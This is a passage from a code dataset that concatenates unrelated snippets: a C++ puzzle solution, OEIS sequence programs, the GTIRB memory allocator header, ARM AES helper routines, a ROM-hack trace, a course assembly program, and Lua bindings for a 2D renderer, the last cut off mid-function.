text stringlengths 1 1.05M |
|---|
class Solution {
public:
int minDeletionSize(vector<string>& A) {
string last = A[0];
int len = A[0].size();
int del = 0;
for(int i=1;i<A.size();i++){
for(int j=0;j<len;j++){
if(last[j] != '#'){
if(A[i][j] >= last[j])
last[j] = A[i][j];
else{
last[j] = '#';
del += 1;
}
}
}
}
return del;
}
};
|
; A166362: a(n) = phi(nonprime(n)).
; 1,2,2,4,6,4,4,6,8,8,6,8,12,10,8,20,12,18,12,8,16,20,16,24,12,18,24,16,12,20,24,22,16,42,20,32,24,18,40,24,36,28,16,30,36,32,48,20,32,44,24,24,36,40,36,60,24,32,54,40,24,64,42,56,40,24,72,44,60,46,72,32,42,60,40,32,48,48,52,36,40,72,48,36,88,56,72,58,96,32,110,60,80,60,100,36,64,84,48,40
seq $0,18252 ; The nonprime numbers: 1 together with the composite numbers, A002808.
sub $0,1
seq $0,10 ; Euler totient function phi(n): count numbers <= n and prime to n.
|
//===- Allocator.hpp --------------------------------------------*- C++ -*-===//
//
// Copyright (C) 2020 GrammaTech, Inc.
//
// This code is licensed under the MIT license. See the LICENSE file in the
// project root for license terms.
//
// This project is sponsored by the Office of Naval Research, One Liberty
// Center, 875 N. Randolph Street, Arlington, VA 22203 under contract #
// N68335-17-C-0700. The content of the information does not necessarily
// reflect the position or policy of the Government and no official
// endorsement should be inferred.
//
//===-Addition License Information-----------------------------------------===//
//
// This file was initially written for the LLVM Compiler Infrastructure
// project where it is distributed under the University of Illinois Open Source
// License. See the LICENSE file in the project root for license terms.
//
//===----------------------------------------------------------------------===//
#ifndef GTIRB_ALLOCATOR_H
#define GTIRB_ALLOCATOR_H
#include <algorithm>
#include <cassert>
#include <cstddef>
#include <cstdint>
#include <cstdlib>
#include <iterator>
#include <utility>
#include <vector>
/// Returns the next power of two (in 64-bits) that is strictly greater than A.
/// Returns zero on overflow.
inline uint64_t NextPowerOf2(uint64_t A) {
A |= (A >> 1);
A |= (A >> 2);
A |= (A >> 4);
A |= (A >> 8);
A |= (A >> 16);
A |= (A >> 32);
return A + 1;
}
/// Return true if the argument is a power of two > 0 (64 bit edition.)
constexpr inline bool isPowerOf2_64(uint64_t Value) {
return Value && !(Value & (Value - 1));
}
/// Aligns \c Addr to \c Alignment bytes, rounding up.
///
/// Alignment should be a power of two. This method rounds up, so
/// alignAddr(7, 4) == 8 and alignAddr(8, 4) == 8.
inline uintptr_t alignAddr(const void* Addr, size_t Alignment) {
assert(Alignment && isPowerOf2_64((uint64_t)Alignment) &&
"Alignment is not a power of two!");
assert((uintptr_t)Addr + Alignment - 1 >= (uintptr_t)Addr);
return (((uintptr_t)Addr + Alignment - 1) & ~(uintptr_t)(Alignment - 1));
}
/// Returns the necessary adjustment for aligning \c Ptr to \c Alignment
/// bytes, rounding up.
inline size_t alignmentAdjustment(const void* Ptr, size_t Alignment) {
return alignAddr(Ptr, Alignment) - (uintptr_t)Ptr;
}
/// Allocate memory in an ever growing pool, as if by bump-pointer.
///
/// This isn't strictly a bump-pointer allocator as it uses backing slabs of
/// memory rather than relying on a boundless contiguous heap. However, it has
/// bump-pointer semantics in that it is a monotonically growing pool of memory
/// where every allocation is found by merely allocating the next N bytes in
/// the slab, or the next N bytes in the next slab.
///
/// Note that this also has a threshold for forcing allocations above a certain
/// size into their own slab.
template <size_t SlabSize = 4096, size_t SizeThreshold = SlabSize>
class BumpPtrAllocatorImpl {
public:
static_assert(SizeThreshold <= SlabSize,
"The SizeThreshold must be at most the SlabSize to ensure "
"that objects larger than a slab go into their own memory "
"allocation.");
BumpPtrAllocatorImpl() = default;
// Manually implement a move constructor as we must clear the old allocator's
// slabs as a matter of correctness.
BumpPtrAllocatorImpl(BumpPtrAllocatorImpl&& Old)
: CurPtr(Old.CurPtr), End(Old.End), Slabs(std::move(Old.Slabs)),
CustomSizedSlabs(std::move(Old.CustomSizedSlabs)),
BytesAllocated(Old.BytesAllocated), RedZoneSize(Old.RedZoneSize) {
Old.CurPtr = Old.End = nullptr;
Old.BytesAllocated = 0;
Old.Slabs.clear();
Old.CustomSizedSlabs.clear();
}
~BumpPtrAllocatorImpl() {
DeallocateSlabs(Slabs.begin(), Slabs.end());
DeallocateCustomSizedSlabs();
}
BumpPtrAllocatorImpl& operator=(BumpPtrAllocatorImpl&& RHS) {
DeallocateSlabs(Slabs.begin(), Slabs.end());
DeallocateCustomSizedSlabs();
CurPtr = RHS.CurPtr;
End = RHS.End;
BytesAllocated = RHS.BytesAllocated;
RedZoneSize = RHS.RedZoneSize;
Slabs = std::move(RHS.Slabs);
CustomSizedSlabs = std::move(RHS.CustomSizedSlabs);
RHS.CurPtr = RHS.End = nullptr;
RHS.BytesAllocated = 0;
RHS.Slabs.clear();
RHS.CustomSizedSlabs.clear();
return *this;
}
/// Allocate space at the specified alignment.
void* Allocate(size_t Size, size_t Alignment) {
assert(Alignment > 0 && "0-byte alignnment is not allowed. Use 1 instead.");
// Keep track of how many bytes we've allocated.
BytesAllocated += Size;
size_t Adjustment = alignmentAdjustment(CurPtr, Alignment);
assert(Adjustment + Size >= Size && "Adjustment + Size must not overflow");
size_t SizeToAllocate = Size;
//#if LLVM_ADDRESS_SANITIZER_BUILD
// // Add trailing bytes as a "red zone" under ASan.
// SizeToAllocate += RedZoneSize;
//#endif
// Check if we have enough space.
if (Adjustment + SizeToAllocate <= size_t(End - CurPtr)) {
char* AlignedPtr = CurPtr + Adjustment;
CurPtr = AlignedPtr + SizeToAllocate;
// Update the allocation point of this memory block in MemorySanitizer.
// Without this, MemorySanitizer messages for values originated from here
// will point to the allocation of the entire slab.
// __msan_allocated_memory(AlignedPtr, Size);
// Similarly, tell ASan about this space.
// __asan_unpoison_memory_region(AlignedPtr, Size);
return AlignedPtr;
}
// If Size is really big, allocate a separate slab for it.
size_t PaddedSize = SizeToAllocate + Alignment - 1;
if (PaddedSize > SizeThreshold) {
void* NewSlab = std::malloc(PaddedSize);
// We own the new slab and don't want anyone reading anyting other than
// pieces returned from this method. So poison the whole slab.
// __asan_poison_memory_region(NewSlab, PaddedSize);
CustomSizedSlabs.push_back(std::make_pair(NewSlab, PaddedSize));
uintptr_t AlignedAddr = alignAddr(NewSlab, Alignment);
assert(AlignedAddr + Size <= (uintptr_t)NewSlab + PaddedSize);
char* AlignedPtr = (char*)AlignedAddr;
// __msan_allocated_memory(AlignedPtr, Size);
// __asan_unpoison_memory_region(AlignedPtr, Size);
return AlignedPtr;
}
// Otherwise, start a new slab and try again.
StartNewSlab();
uintptr_t AlignedAddr = alignAddr(CurPtr, Alignment);
assert(AlignedAddr + SizeToAllocate <= (uintptr_t)End &&
"Unable to allocate memory!");
char* AlignedPtr = (char*)AlignedAddr;
CurPtr = AlignedPtr + SizeToAllocate;
// __msan_allocated_memory(AlignedPtr, Size);
// __asan_unpoison_memory_region(AlignedPtr, Size);
return AlignedPtr;
}
/// Allocate space for a sequence of objects without constructing them.
template <typename T> T* Allocate(size_t Num = 1) {
return static_cast<T*>(Allocate(Num * sizeof(T), alignof(T)));
}
// Bump pointer allocators are expected to never free their storage; and
// clients expect pointers to remain valid for non-dereferencing uses even
// after deallocation.
void Deallocate(const void*, size_t) {
// __asan_poison_memory_region(Ptr, Size);
}
size_t GetNumSlabs() const { return Slabs.size() + CustomSizedSlabs.size(); }
size_t getTotalMemory() const {
size_t TotalMemory = 0;
for (auto I = Slabs.begin(), E = Slabs.end(); I != E; ++I)
TotalMemory += computeSlabSize(std::distance(Slabs.begin(), I));
for (auto& PtrAndSize : CustomSizedSlabs)
TotalMemory += PtrAndSize.second;
return TotalMemory;
}
size_t getBytesAllocated() const { return BytesAllocated; }
void setRedZoneSize(size_t NewSize) { RedZoneSize = NewSize; }
private:
/// The current pointer into the current slab.
///
/// This points to the next free byte in the slab.
char* CurPtr = nullptr;
/// The end of the current slab.
char* End = nullptr;
/// The slabs allocated so far.
std::vector<void*> Slabs;
/// Custom-sized slabs allocated for too-large allocation requests.
std::vector<std::pair<void*, size_t>> CustomSizedSlabs;
/// How many bytes we've allocated.
///
/// Used so that we can compute how much space was wasted.
size_t BytesAllocated = 0;
/// The number of bytes to put between allocations when running under
/// a sanitizer.
size_t RedZoneSize = 1;
static size_t computeSlabSize(size_t SlabIdx) {
// Scale the actual allocated slab size based on the number of slabs
// allocated. Every 128 slabs allocated, we double the allocated size to
// reduce allocation frequency, but saturate at multiplying the slab size by
// 2^30.
return SlabSize * ((size_t)1 << std::min<size_t>(30, SlabIdx / 128));
}
/// Allocate a new slab and move the bump pointers over into the new
/// slab, modifying CurPtr and End.
void StartNewSlab() {
size_t AllocatedSlabSize = computeSlabSize(Slabs.size());
void* NewSlab = std::malloc(AllocatedSlabSize);
// We own the new slab and don't want anyone reading anything other than
// pieces returned from this method. So poison the whole slab.
// __asan_poison_memory_region(NewSlab, AllocatedSlabSize);
Slabs.push_back(NewSlab);
CurPtr = (char*)(NewSlab);
End = ((char*)NewSlab) + AllocatedSlabSize;
}
/// Deallocate a sequence of slabs.
void DeallocateSlabs(std::vector<void*>::iterator I,
std::vector<void*>::iterator E) {
for (; I != E; ++I) {
std::free(*I);
}
}
/// Deallocate all memory for custom sized slabs.
void DeallocateCustomSizedSlabs() {
for (auto& PtrAndSize : CustomSizedSlabs) {
std::free(PtrAndSize.first);
}
}
template <typename T> friend class SpecificBumpPtrAllocator;
};
/// The standard BumpPtrAllocator which just uses the default template
/// parameters.
typedef BumpPtrAllocatorImpl<> BumpPtrAllocator;
/// A BumpPtrAllocator that allows only elements of a specific type to be
/// allocated.
///
/// This allows calling the destructor in DestroyAll() and when the allocator is
/// destroyed.
template <typename T> class SpecificBumpPtrAllocator {
BumpPtrAllocator Allocator;
public:
SpecificBumpPtrAllocator() {
// Because SpecificBumpPtrAllocator walks the memory to call destructors,
// it can't have red zones between allocations.
Allocator.setRedZoneSize(0);
}
SpecificBumpPtrAllocator(SpecificBumpPtrAllocator&& Old)
: Allocator(std::move(Old.Allocator)) {}
~SpecificBumpPtrAllocator() { DestroyAll(); }
SpecificBumpPtrAllocator& operator=(SpecificBumpPtrAllocator&& RHS) {
Allocator = std::move(RHS.Allocator);
return *this;
}
/// Allocate space for an array of objects without constructing them.
T* Allocate(size_t num = 1) { return Allocator.Allocate<T>(num); }
/// Forgets all allocations from the underlying allocator, effectively
/// leaking the memory. This is useful when the allocator is no longer needed
/// and the operating system will be reclaiming the memory (such as at
// program shutdown time).
void ForgetAllocations() {
Allocator.Slabs.clear();
Allocator.CustomSizedSlabs.clear();
}
private:
/// Call the destructor of each allocated object and deallocate all but the
/// current slab and reset the current pointer to the beginning of it, freeing
/// all memory allocated so far.
void DestroyAll() {
auto DestroyElements = [](char* Begin, char* End) {
assert(Begin == (char*)alignAddr(Begin, alignof(T)));
for (char* Ptr = Begin; Ptr + sizeof(T) <= End; Ptr += sizeof(T))
reinterpret_cast<T*>(Ptr)->~T();
};
for (auto I = Allocator.Slabs.begin(), E = Allocator.Slabs.end(); I != E;
++I) {
size_t AllocatedSlabSize = BumpPtrAllocator::computeSlabSize(
std::distance(Allocator.Slabs.begin(), I));
char* Begin = (char*)alignAddr(*I, alignof(T));
char* End = *I == Allocator.Slabs.back() ? Allocator.CurPtr
: (char*)*I + AllocatedSlabSize;
DestroyElements(Begin, End);
}
for (auto& PtrAndSize : Allocator.CustomSizedSlabs) {
void* Ptr = PtrAndSize.first;
size_t Size = PtrAndSize.second;
DestroyElements((char*)alignAddr(Ptr, alignof(T)), (char*)Ptr + Size);
}
}
};
template <size_t SlabSize, size_t SizeThreshold>
void* operator new(size_t Size,
BumpPtrAllocatorImpl<SlabSize, SizeThreshold>& Allocator) {
struct S {
char c;
union {
double D;
long double LD;
long long L;
void* P;
} x;
};
return Allocator.Allocate(
Size, std::min((size_t)NextPowerOf2(Size), offsetof(S, x)));
}
template <size_t SlabSize, size_t SizeThreshold>
void operator delete(void*, BumpPtrAllocatorImpl<SlabSize, SizeThreshold>&) {}
#endif // GTIRB_ALLOCATOR_H
|
code32
format ELF
public _gf_mul
public _AES_RotWord
section '.text' executable align 16
_gf_mul:
mov r3, r0
cmp r1, #0
beq .b0
mov r0, #0
mov r2, #280 ; I'd replace the mov and add with a movw for later procs but pfffff
add r2, #3
.loop:
tst r1, #1
eorne r0, r3
lsl r3, #1
lsr r1, #1
cmp r3, #255
eorhi r3, r2
cmp r1, #0
bne .loop
bx lr
.b0:
mov r0, r1
bx lr
_AES_RotWord:
ror r0, #8
bx lr
|
; A267295: Circulant Ramsey numbers RC_2(3,n) of the second kind.
; Submitted by Jamie Morken(s2)
; 3,6,9,14,17,22,27,36,39,46,49
mov $5,$0
mov $6,$0
add $6,1
lpb $6
mov $0,$5
mov $1,0
sub $6,1
sub $0,$6
mov $2,2
lpb $0
mov $3,$0
sub $3,2
lpb $3
mov $4,$0
trn $0,$2
mod $4,$2
add $2,1
cmp $4,0
cmp $4,0
sub $3,$4
lpe
div $0,$2
mov $4,$0
div $4,2
add $1,$4
mul $0,$1
lpe
mov $0,$2
sub $0,2
mul $0,2
add $0,3
add $7,$0
lpe
mov $0,$7
|
copyright zengfr site:http://github.com/zengfr/romhack
001590 lea ($20,A0), A0
00249A move.l -(A6), (A4)+ [123p+ 6C, enemy+6C]
00249C rts [123p+ 6E, 123p+ 70, enemy+6E, enemy+70]
0024B6 move.l -(A6), (A4)+ [123p+ 6C, enemy+6C]
0024B8 rts [123p+ 6E, 123p+ 70, enemy+6E, enemy+70]
0024E8 move.l -(A6), (A4)+ [123p+ 6C, enemy+6C]
0024EA tst.b ($30,A0) [123p+ 6E, 123p+ 70, enemy+6E, enemy+70]
00250A move.l -(A6), (A4)+ [123p+ 6C, enemy+6C]
00250C tst.b ($30,A0) [123p+ 6E, 123p+ 70, enemy+6E, enemy+70]
008494 move.w (A3)+, D1 [123p+ 70, enemy+70]
012284 move.l (A2)+, (A3)+ [enemy+6C, enemy+6E]
012286 move.l (A2)+, (A3)+ [enemy+70, enemy+72]
01A75E dbra D4, $1a75c
copyright zengfr site:http://github.com/zengfr/romhack
|
; A071400: Rounded volume of a regular octahedron with edge length n.
; 0,0,4,13,30,59,102,162,241,344,471,627,815,1036,1294,1591,1931,2316,2749,3233,3771,4366,5020,5736,6517,7366,8285,9279,10348,11497,12728,14044,15447,16941,18528,20211,21994,23878,25867,27963,30170,32490
pow $0,6
sub $0,4
lpb $0
sub $0,1
add $1,8
trn $0,$1
add $1,1
lpe
div $1,9
mov $0,$1
|
PAGE 75, 132
TITLE MP0 Your Name current date
COMMENT *
This program illustrates a (very) basic assembly program and
the use of LIB291 input and output routines.
Put your name in the places where it says 'your name' and also
change the date where it says 'current date'.
*
;====== SECTION 1: Define constants =======================================
CR EQU 0Dh
LF EQU 0Ah
BEL EQU 07h
;====== SECTION 2: Declare external procedures ============================
EXTRN kbdine:near, dspout:near, dspmsg:near, dosxit:near
;====== SECTION 3: Define stack segment ===================================
STKSEG SEGMENT STACK ; *** STACK SEGMENT ***
db 64 dup ('STACK ')
STKSEG ENDS
;====== SECTION 4: Define code segment ====================================
CSEG SEGMENT PUBLIC ; *** CODE SEGMENT ***
ASSUME cs:cseg, ds:cseg, ss:stkseg, es:nothing
;====== SECTION 5: Declare variables for main procedure ===================
var db 0
question db CR,LF,'What grade would you like in ECE291? ','$'
Exitmsg db CR,LF,'Good Luck!',CR,LF,'$'
invalid db CR,LF,'Not a valid choice! ',CR,LF,'$'
Amsg db CR,LF,'Great! Comment code and turn work in early.',CR,LF,'$'
Bmsg db CR,LF,'Keep up in class and turn things in on time.',CR,LF,'$'
Dmsg db CR,LF,'Skip machine problems.',CR,LF,'$'
Fmsg db CR,LF,'Sleep through exams.',CR,LF,'$'
;====== SECTION 6: Main procedure =========================================
MAIN PROC FAR
mov ax, cs ; Initialize Default Segment register
mov ds, ax
mov dx, offset question ; Prompt user with question
call dspmsg
call kbdine ; Get keyboard character in AL
mov var,al ; Save result in a variable
CheckGrade:
cmp var, 'A' ; Check if A student
jne NotGradeA
mov dx, offset Amsg ; Print message for A students
call dspmsg
jmp mpExit
NotGradeA:
cmp var, 'B' ; Check if B student
jne NotGradeB
mov dx, offset Bmsg ; Print message for B students
call dspmsg
jmp mpExit
NotGradeB:
cmp var, 'D' ; Check if D student
jne NotGradeD
mov dx, offset Dmsg ; Print message for D students
call dspmsg
jmp mpExit
NotGradeD:
cmp var, 'F' ; Check if F student
jne NotGradeF
mov dx, offset Fmsg ; Print message for F students
call dspmsg
jmp mpExit
NotGradeF:
mov dl, BEL ; Ring the bell if other character
call dspout
mov dx, offset invalid ; Print invalid message
call dspmsg
jmp FinalExit
mpExit:
mov dx, offset Exitmsg ; Type out exit message
call dspmsg
FinalExit:
call dosxit ; Exit to DOS
MAIN ENDP
CSEG ENDS
END MAIN
|
DATA B
DATA A
DATA C[4]
DATA D
CONST E = 123
START:
READ AX
READ BX
MOV C[2], AX
MOV B, BX
ADD CX, AX, BX
X:
READ AX
SUB DX, AX, BX
PRINT DX
PRINT CX
IF CX EQ DX THEN
MOV C[0], CX
PRINT C[0]
IF CX EQ DX THEN
MOV C[0], CX
PRINT C[0]
ELSE
MOV C[1], DX
PRINT C[1]
JUMP X
ENDIF
ELSE
MOV C[1], DX
PRINT C[1]
JUMP X
ENDIF
PRINT E
END
|
; A329031: a(n) = A327860(A328841(n)).
; Submitted by Jon Maiga
; 0,1,1,5,1,5,1,7,8,31,8,31,1,7,8,31,8,31,1,7,8,31,8,31,1,7,8,31,8,31,1,9,10,41,10,41,12,59,71,247,71,247,12,59,71,247,71,247,12,59,71,247,71,247,12,59,71,247,71,247,1,9,10,41,10,41,12,59,71,247,71,247,12,59,71,247,71,247,12,59,71,247,71,247,12,59,71,247,71,247,1,9,10,41,10,41,12,59,71,247
seq $0,328571 ; Primorial base expansion of n converted into its prime product form, but with all nonzero digits replaced by 1's: a(n) = A007947(A276086(n)).
seq $0,3415 ; a(n) = n' = arithmetic derivative of n: a(0) = a(1) = 0, a(prime) = 1, a(mn) = m*a(n) + n*a(m).
|
inc c
call foo
inc d
end
foo:
inc a
call bar
inc a
ret
bar:
inc b
ret |
// #includes using etc.
#include "LuaRenderer2D.h"
#include "Lua.hpp"
#include "Renderer2D.h"
#include "Texture.h"
#include "Font.h"
#include <assert.h>
// static member initialization of m_pRenderer2D.
aie::Renderer2D* LuaRenderer2D::sm_pRenderer2D;
//--------------------------------------------------------------------------------------
// Default Constructor.
//--------------------------------------------------------------------------------------
LuaRenderer2D::LuaRenderer2D()
{
}
//--------------------------------------------------------------------------------------
// Default Destructor.
//--------------------------------------------------------------------------------------
LuaRenderer2D::~LuaRenderer2D()
{
}
//--------------------------------------------------------------------------------------
// CreateRenderer2DLibrary: Create the lua library for the Renderer2D class.
//
// Param:
// pLuaState: pointer to the lua_State.
//--------------------------------------------------------------------------------------
void LuaRenderer2D::CreateRenderer2DLibrary(lua_State* pLuaState)
{
// Register lua functions from cpp
static const struct luaL_reg s_kslRenderer2DLibrary[] = {
{ "Get", l_GetRenderer2D },
{ "Begin", l_Begin },
{ "End", l_End },
{ "SetCameraPos", l_SetCameraPos },
{ "SetRenderColour", l_SetRenderColour },
{ "SetUVRect", l_SetUVRect },
{ "DrawSprite", l_DrawSprite },
{ "DrawLine", l_DrawLine },
{ "DrawCircle", l_DrawCircle },
{ "DrawBox", l_DrawBox },
{ "DrawText", l_DrawText },
{ NULL, NULL }
};
// Open library for lua
luaL_openlib(pLuaState, "Renderer2D", s_kslRenderer2DLibrary, 0);
}
//--------------------------------------------------------------------------------------
// SetRenderer2D: Set the renderer2d for the lua bindings.
//
// Param:
// pRenderer: pointer to the renderer2d.
//--------------------------------------------------------------------------------------
void LuaRenderer2D::SetRenderer2D(aie::Renderer2D* pRenderer)
{
// set the renderer2d
sm_pRenderer2D = pRenderer;
}
//--------------------------------------------------------------------------------------
// l_GetRenderer2D: Lua bindings for getting an instance of the bootstrap renderer2d
// pointer in lua.
//
// Param:
// pLuaState: pointer to the lua_State.
//
// Return:
// int: How many values are being returned.
//--------------------------------------------------------------------------------------
int LuaRenderer2D::l_GetRenderer2D(lua_State* pLuaState)
{
// make sure there are no values on the stack
lua_pop(pLuaState, lua_gettop(pLuaState));
// push the renderer2d
lua_pushlightuserdata(pLuaState, (void*)sm_pRenderer2D);
// returning 1 value
return 1;
}
//--------------------------------------------------------------------------------------
// l_Begin: Lua bindings for the bootstrap renderer2d Begin function.
//
// Param:
// pLuaState: pointer to the lua_State.
//
// Return:
// int: How many values are being returned.
//--------------------------------------------------------------------------------------
int LuaRenderer2D::l_Begin(lua_State* pLuaState)
{
// make sure there are no values on the stack
lua_pop(pLuaState, lua_gettop(pLuaState));
// call the renderer2d begin function
sm_pRenderer2D->begin();
// push true and returns 1 value
lua_pushboolean(pLuaState, true);
return 1;
}
//--------------------------------------------------------------------------------------
// l_End: Lua bindings for the bootstrap renderer2d End function.
//
// Param:
// pLuaState: pointer to the lua_State.
//
// Return:
// int: How many values are being returned.
//--------------------------------------------------------------------------------------
int LuaRenderer2D::l_End(lua_State* pLuaState)
{
// make sure there are no values on the stack
lua_pop(pLuaState, lua_gettop(pLuaState));
// call the renderer2d end function
sm_pRenderer2D->end();
// push true and returns 1 value
lua_pushboolean(pLuaState, true);
return 1;
}
//--------------------------------------------------------------------------------------
// l_SetCameraPos: Lua bindings for the bootstrap renderer2d SetCameraPos function.
//
// Param:
// pLuaState: pointer to the lua_State.
//
// Return:
// int: How many values are being returned.
//--------------------------------------------------------------------------------------
int LuaRenderer2D::l_SetCameraPos(lua_State* pLuaState)
{
// if the stack isnt 2
if (lua_gettop(pLuaState) != 2)
{
// pop all values off the stack
lua_pop(pLuaState, lua_gettop(pLuaState));
// push false bool for failure and error message
lua_pushboolean(pLuaState, false);
lua_pushstring(pLuaState, "LuaRenderer2D::SetCameraPos requires exactly 2 arguments (xPos, yPos)");
// return 2 values
return 2;
}
// if there is no first argument
if (lua_isnumber(pLuaState, 1) == 0)
{
// pop all values off the stack
lua_pop(pLuaState, lua_gettop(pLuaState));
// push false bool for failure and error message
lua_pushboolean(pLuaState, false);
lua_pushstring(pLuaState, "LuaRenderer2D::SetCameraPos argument 1 should be a number (xPos)");
// return 2 values
return 2;
}
// if there is no second argument
if (lua_isnumber(pLuaState, 2) == 0)
{
// pop all values off the stack
lua_pop(pLuaState, lua_gettop(pLuaState));
// push false bool for failure and error message
lua_pushboolean(pLuaState, false);
lua_pushstring(pLuaState, "LuaRenderer2D::SetCameraPos argument 2 should be a number (yPos)");
// return 2 values
return 2;
}
// get 2 float values from lua and store
float fX = (float)lua_tonumber(pLuaState, 1);
float fY = (float)lua_tonumber(pLuaState, 2);
// pop values off the stack
lua_pop(pLuaState, 2);
// call the renderer2d setCameraPos function and pass on lua values
sm_pRenderer2D->setCameraPos(fX, fY);
// push true and returns 1 value
lua_pushboolean(pLuaState, true);
return 1;
}
//--------------------------------------------------------------------------------------
// l_SetRenderColour: Lua bindings for the bootstrap renderer2d SetRenderColour function.
//
// Param:
// pLuaState: pointer to the lua_State.
//
// Return:
// int: How many values are being returned.
//--------------------------------------------------------------------------------------
int LuaRenderer2D::l_SetRenderColour(lua_State* pLuaState)
{
// if the stack isnt 4
if (lua_gettop(pLuaState) != 4)
{
// pop all values off the stack
lua_pop(pLuaState, lua_gettop(pLuaState));
// push false bool for failure and error message
lua_pushboolean(pLuaState, false);
lua_pushstring(pLuaState, "LuaRenderer2D::SetRenderColour requires exactly 4 arguments (R, G, B, A)");
// return 2 values
return 2;
}
// if there is no first argument
if (lua_isnumber(pLuaState, 1) == 0)
{
// pop all values off the stack
lua_pop(pLuaState, lua_gettop(pLuaState));
// push false bool for failure and error message
lua_pushboolean(pLuaState, false);
lua_pushstring(pLuaState, "LuaRenderer2D::SetRenderColour argument 1 should be a number (R)");
// return 2 values
return 2;
}
// if there is no second argument
if (lua_isnumber(pLuaState, 2) == 0)
{
// pop all values off the stack
lua_pop(pLuaState, lua_gettop(pLuaState));
// push false bool for failure and error message
lua_pushboolean(pLuaState, false);
lua_pushstring(pLuaState, "LuaRenderer2D::SetRenderColour argument 2 should be a number (G)");
// return 2 values
return 2;
}
// if there is no third argument
if (lua_isnumber(pLuaState, 3) == 0)
{
// pop all values off the stack
lua_pop(pLuaState, lua_gettop(pLuaState));
// push false bool for failure and error message
lua_pushboolean(pLuaState, false);
lua_pushstring(pLuaState, "LuaRenderer2D::SetRenderColour argument 3 should be a number (B)");
// return 2 values
return 2;
}
// if there is no fourth argument
if (lua_isnumber(pLuaState, 4) == 0)
{
// pop all values off the stack
lua_pop(pLuaState, lua_gettop(pLuaState));
// push false bool for failure and error message
lua_pushboolean(pLuaState, false);
lua_pushstring(pLuaState, "LuaRenderer2D::SetRenderColour argument 4 should be a number (A)");
// return 2 values
return 2;
}
// get 4 float values from lua and store
float fR = (float)lua_tonumber(pLuaState, 1);
float fG = (float)lua_tonumber(pLuaState, 2);
float fB = (float)lua_tonumber(pLuaState, 3);
float fA = (float)lua_tonumber(pLuaState, 4);
// pop values off the stack
lua_pop(pLuaState, 4);
// call the renderer2d setRenderColour function and pass on lua values
sm_pRenderer2D->setRenderColour(fR, fG, fB, fA);
// push true and returns 1 value
lua_pushboolean(pLuaState, true);
return 1;
}
//--------------------------------------------------------------------------------------
// l_SetUVRect: Lua bindings for the bootstrap renderer2d SetUVRect function.
//
// Param:
// pLuaState: pointer to the lua_State.
//
// Return:
// int: How many values are being returned.
//--------------------------------------------------------------------------------------
int LuaRenderer2D::l_SetUVRect(lua_State* pLuaState)
{
// if the stack isnt 4
if (lua_gettop(pLuaState) != 4)
{
// pop all values off the stack
lua_pop(pLuaState, lua_gettop(pLuaState));
// push false bool for failure and error message
lua_pushboolean(pLuaState, false);
lua_pushstring(pLuaState, "LuaRenderer2D::SetUVRect requires exactly 4 arguments (uvX, uvY, uvW, uvH)");
// return 2 values
return 2;
}
// if there is no first argument
if (lua_isnumber(pLuaState, 1) == 0)
{
// pop all values off the stack
lua_pop(pLuaState, lua_gettop(pLuaState));
// push false bool for failure and error message
lua_pushboolean(pLuaState, false);
lua_pushstring(pLuaState, "LuaRenderer2D::SetUVRect argument 1 should be a number (uvX)");
// return 2 values
return 2;
}
// if there is no second argument
if (lua_isnumber(pLuaState, 2) == 0)
{
// pop all values off the stack
lua_pop(pLuaState, lua_gettop(pLuaState));
// push false bool for failure and error message
lua_pushboolean(pLuaState, false);
lua_pushstring(pLuaState, "LuaRenderer2D::SetUVRect argument 2 should be a number (uvY)");
// return 2 values
return 2;
}
// if there is no third argument
if (lua_isnumber(pLuaState, 3) == 0)
{
// pop all values off the stack
lua_pop(pLuaState, lua_gettop(pLuaState));
// push false bool for failure and error message
lua_pushboolean(pLuaState, false);
lua_pushstring(pLuaState, "LuaRenderer2D::SetUVRect argument 3 should be a number (uvW)");
// return 2 values
return 2;
}
// if there is no fourth argument
if (lua_isnumber(pLuaState, 4) == 0)
{
// pop all values off the stack
lua_pop(pLuaState, lua_gettop(pLuaState));
// push false bool for failure and error message
lua_pushboolean(pLuaState, false);
lua_pushstring(pLuaState, "LuaRenderer2D::SetUVRect argument 4 should be a number (uvH)");
// return 2 values
return 2;
}
// get 4 float values from lua and store
float fUVx = (float)lua_tonumber(pLuaState, 1);
float fUVy = (float)lua_tonumber(pLuaState, 2);
float fUVw = (float)lua_tonumber(pLuaState, 3);
float fUVh = (float)lua_tonumber(pLuaState, 4);
// pop values off the stack
lua_pop(pLuaState, 4);
// call the renderer2d setUVRect function and pass on lua values
sm_pRenderer2D->setUVRect(fUVx, fUVy, fUVw, fUVh);
// push true and returns 1 value
lua_pushboolean(pLuaState, true);
return 1;
}
//--------------------------------------------------------------------------------------
// l_DrawSprite: Lua bindings for the bootstrap renderer2d DrawSprite function.
//
// Param:
// pLuaState: pointer to the lua_State.
//
// Return:
// int: How many values are being returned.
//--------------------------------------------------------------------------------------
int LuaRenderer2D::l_DrawSprite(lua_State* pLuaState)
{
// if the stack isnt 9
if (lua_gettop(pLuaState) != 9)
{
// pop all values off the stack
lua_pop(pLuaState, lua_gettop(pLuaState));
// push false bool for failure and error message
lua_pushboolean(pLuaState, false);
lua_pushstring(pLuaState, "LuaRenderer2D::DrawSprite requires exactly 9 arguments (Texture, X, Y, Width, Height, Rotation, Depth, OriginX, OriginY)");
// return 2 values
return 2;
}
// if there is no first argument
if (lua_isnil(pLuaState, 1) == 0 && lua_isuserdata(pLuaState, 1) == 0)
{
// pop all values off the stack
lua_pop(pLuaState, lua_gettop(pLuaState));
// push false bool for failure and error message
lua_pushboolean(pLuaState, false);
lua_pushstring(pLuaState, "LuaRenderer2D::DrawSprite argument 1 should be a userdate or nil (Texture)");
// return 2 values
return 2;
}
// if there is no second argument
if (lua_isnumber(pLuaState, 2) == 0)
{
// pop all values off the stack
lua_pop(pLuaState, lua_gettop(pLuaState));
// push false bool for failure and error message
lua_pushboolean(pLuaState, false);
lua_pushstring(pLuaState, "LuaRenderer2D::DrawSprite argument 2 should be a number (X)");
// return 2 values
return 2;
}
// if there is no third argument
if (lua_isnumber(pLuaState, 3) == 0)
{
// pop all values off the stack
lua_pop(pLuaState, lua_gettop(pLuaState));
// push false bool for failure and error message
lua_pushboolean(pLuaState, false);
lua_pushstring(pLuaState, "LuaRenderer2D::DrawSprite argument 3 should be a number (Y)");
// return 2 values
return 2;
}
// if there is no fourth argument
if (lua_isnumber(pLuaState, 4) == 0)
{
// pop all values off the stack
lua_pop(pLuaState, lua_gettop(pLuaState));
// push false bool for failure and error message
lua_pushboolean(pLuaState, false);
lua_pushstring(pLuaState, "LuaRenderer2D::DrawSprite argument 4 should be a number (Width)");
// return 2 values
return 2;
}
// if there is no fifth argument
if (lua_isnumber(pLuaState, 5) == 0)
{
// pop all values off the stack
